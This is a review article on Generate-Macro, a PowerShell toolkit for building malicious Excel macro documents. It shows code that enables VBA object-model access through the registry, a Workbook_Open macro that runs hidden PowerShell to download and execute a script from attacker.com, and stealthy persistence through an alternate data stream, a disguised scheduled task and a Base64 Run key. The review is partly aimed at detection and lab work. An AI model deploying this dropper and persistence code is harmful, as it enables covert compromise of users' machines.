Back to Articles

Generate-Macro: A PowerShell Toolkit for Weaponizing Office Documents

[ View on GitHub ]

Generate-Macro: A PowerShell Toolkit for Weaponizing Office Documents

Hook

In 2016, macro-based malware accounted for over 98% of all malicious Office documents—and this single PowerShell script automated the entire weaponization process in under 30 seconds.

Context

Before tools like Generate-Macro emerged, creating a functional malicious Office document required significant manual effort. An attacker would need to manually craft VBA macros, encode payloads, test persistence mechanisms across different Windows versions, and ensure the document actually executed without raising immediate suspicion. Each iteration involved opening Excel, navigating the VBA editor, debugging obscure COM errors, and praying that Outlook wouldn't flag your carefully crafted document as malicious before it even reached the target.

Generate-Macro, created by security researcher Matt Nelson (enigma0x3), solved this operational bottleneck by automating the entire workflow. Released during the peak of macro-based malware campaigns, it demonstrated how trivial it had become to generate sophisticated attack payloads. More importantly for modern readers, it serves as a Rosetta Stone for understanding the anatomy of macro-based attacks—essential knowledge for security engineers building detection rules, threat hunters analyzing suspicious documents, and developers implementing application security controls. While the specific techniques are now heavily signatured, the architectural patterns remain relevant for understanding how attackers automate weaponization at scale.

Technical Insight

Payload Options

Modify Registry

Set AccessVBOM=1

Instantiate COM Object

Create Workbook

Generate Code

Invoke-Shellcode/Persistence

Inject via VBProject

Save as .xlsm

PowerShell Script

Excel Security Settings

COM Excel.Application

Excel Workbook

VBA Payload Generator

VBA Macro Code

Weaponized Document

Meterpreter Shell

Registry Persistence

Scheduled Tasks

System architecture — auto-generated

Generate-Macro's architecture centers on COM automation of Microsoft Office combined with dynamic VBA code generation. The script instantiates an Excel.Application COM object, programmatically creates a workbook, injects macro code into the Workbook_Open() event handler, and saves the result as a macro-enabled document. What makes this interesting from an engineering perspective is how it bridges the gap between PowerShell's .NET runtime and Excel's legacy VBA environment.

The core mechanism starts by temporarily disabling Excel's security settings through registry manipulation. This is necessary because Excel's Trust Center normally blocks programmatic access to the VBA project model:

$RegKey = "HKCU:\Software\Microsoft\Office\$officeVersion\Excel\Security"
New-ItemProperty -Path $RegKey -Name AccessVBOM -Value 1 -PropertyType DWORD -Force

$Excel = New-Object -ComObject Excel.Application
$Excel.DisplayAlerts = $False
$Workbook = $Excel.Workbooks.Add()
$Worksheet = $Workbook.Worksheets.Item(1)

$VBAModule = $Workbook.VBProject.VBComponents.Item("ThisWorkbook").CodeModule
$VBAModule.AddFromString($MacroCode)

This approach demonstrates a critical security insight: the same COM interfaces that enable legitimate Office automation can be weaponized for malicious purposes. The AccessVBOM registry key (Access Visual Basic Object Model) is essentially giving PowerShell permission to inject arbitrary code into the VBA environment—a permission that most users don't even know exists.

The payload injection mechanism leverages Matt Graeber's Invoke-Shellcode, which performs in-memory shellcode injection via Win32 API calls. The generated VBA macro doesn't directly contain shellcode bytes; instead, it downloads and executes a PowerShell script that calls Invoke-Shellcode:

Sub Workbook_Open()
    Dim payload As String
    payload = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile " & _
              "-Command \"IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')\""
    
    CreateObject("WScript.Shell").Run payload, 0, False
End Sub

This two-stage approach provides operational flexibility—the Office document becomes a lightweight dropper that fetches the actual payload at runtime, allowing attackers to update payloads without redistributing documents. However, it also creates multiple detection opportunities: network connections from Office processes, PowerShell child processes, and the characteristic Invoke-Shellcode API call patterns.

The persistence mechanism implementations reveal creative abuse of Windows features. The Alternate Data Stream (ADS) method is particularly clever—it hides the PowerShell payload in an NTFS alternate data stream attached to an innocuous file, then creates a scheduled task pointing to that stream:

$PayloadPath = "$env:APPDATA\Intel\IntelGraphicsController.txt:intel.ps1"
Set-Content -Path $PayloadPath -Value $PayloadScript -Stream intel

$Action = New-ScheduledTaskAction -Execute "powershell.exe" `
    -Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File `"$PayloadPath`""
$Trigger = New-ScheduledTaskTrigger -AtLogon
Register-ScheduledTask -TaskName "IntelGraphicsUpdate" -Action $Action -Trigger $Trigger

ADS persistence exploits the fact that most file enumeration tools don't display alternate data streams by default, and the stream name (intel.ps1) never appears in directory listings. The payload lives parasitically on a legitimate-looking text file, invisible to casual inspection.

The registry persistence method demonstrates another Windows quirk—the Run key accepts PowerShell one-liners encoded in Base64, effectively hiding the payload in plain sight within the registry:

$EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($PayloadScript))
$RegPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Set-ItemProperty -Path $RegPath -Name "SecurityUpdate" `
    -Value "powershell.exe -WindowStyle Hidden -EncodedCommand $EncodedPayload"

From a defensive perspective, understanding these patterns is invaluable. Security engineers can build detection rules targeting: PowerShell spawned from Office processes, scheduled tasks created by Office applications, registry Run key modifications during Office process execution, and network connections to non-organizational domains from productivity applications.

Gotcha

Generate-Macro's biggest limitation is that it's frozen in 2015-era techniques. Modern Windows environments—particularly those running Windows 10 with Attack Surface Reduction (ASR) rules enabled—block Office applications from spawning child processes by default. Microsoft has also disabled macros in documents from the internet by default since 2022, adding a "Mark of the Web" check that essentially breaks this entire attack vector for files downloaded from email or browsers. The tool assumes an environment where users routinely enable macros and security products rely solely on signature-based detection.

Additionally, the tool only supports Meterpreter payloads via Invoke-Shellcode, which is heavily signatured by every major EDR platform. There's no obfuscation, no AMSI bypass (because AMSI didn't exist yet), and no support for custom C2 frameworks like Cobalt Strike, Covenant, or Sliver. The VBA code generated is also remarkably simplistic—modern static analysis engines flag the CreateObject("WScript.Shell") pattern immediately. If you're testing against anything beyond Windows Defender circa 2015, expect immediate detection. The persistence mechanisms fare better but are still well-documented in threat intelligence feeds, making them straightforward to hunt for with proper logging enabled.

Verdict

Use if: You're a security engineer building a detection lab and need reproducible, documented examples of macro-based attacks for testing SIEM rules, EDR configurations, or email security gateways. Use if you're teaching an offensive security course and want students to understand the fundamentals of Office automation and persistence mechanisms without getting lost in modern obfuscation complexity. Use if you're doing authorized red team work against legacy systems still running Office 2010-2013 without modern security controls. Skip if: You need operational malware that will bypass current-generation security products—this code will be detected instantly by any EDR or next-gen AV. Skip if you're targeting modern Windows 10/11 environments with default security settings; ASR rules and macro blocking will stop these attacks cold. Skip if you need payload flexibility beyond Meterpreter or want to integrate with modern C2 frameworks. For real-world engagements, look at LuckyStrike or MacroPack instead, both of which include obfuscation and evasion techniques actually designed for post-2020 defenses.

// ADD TO YOUR README
[![Featured on Starlog](https://starlog.is/api/badge/developer-tools/enigma0x3-generate-macro.svg)](https://starlog.is/api/badge-click/developer-tools/enigma0x3-generate-macro)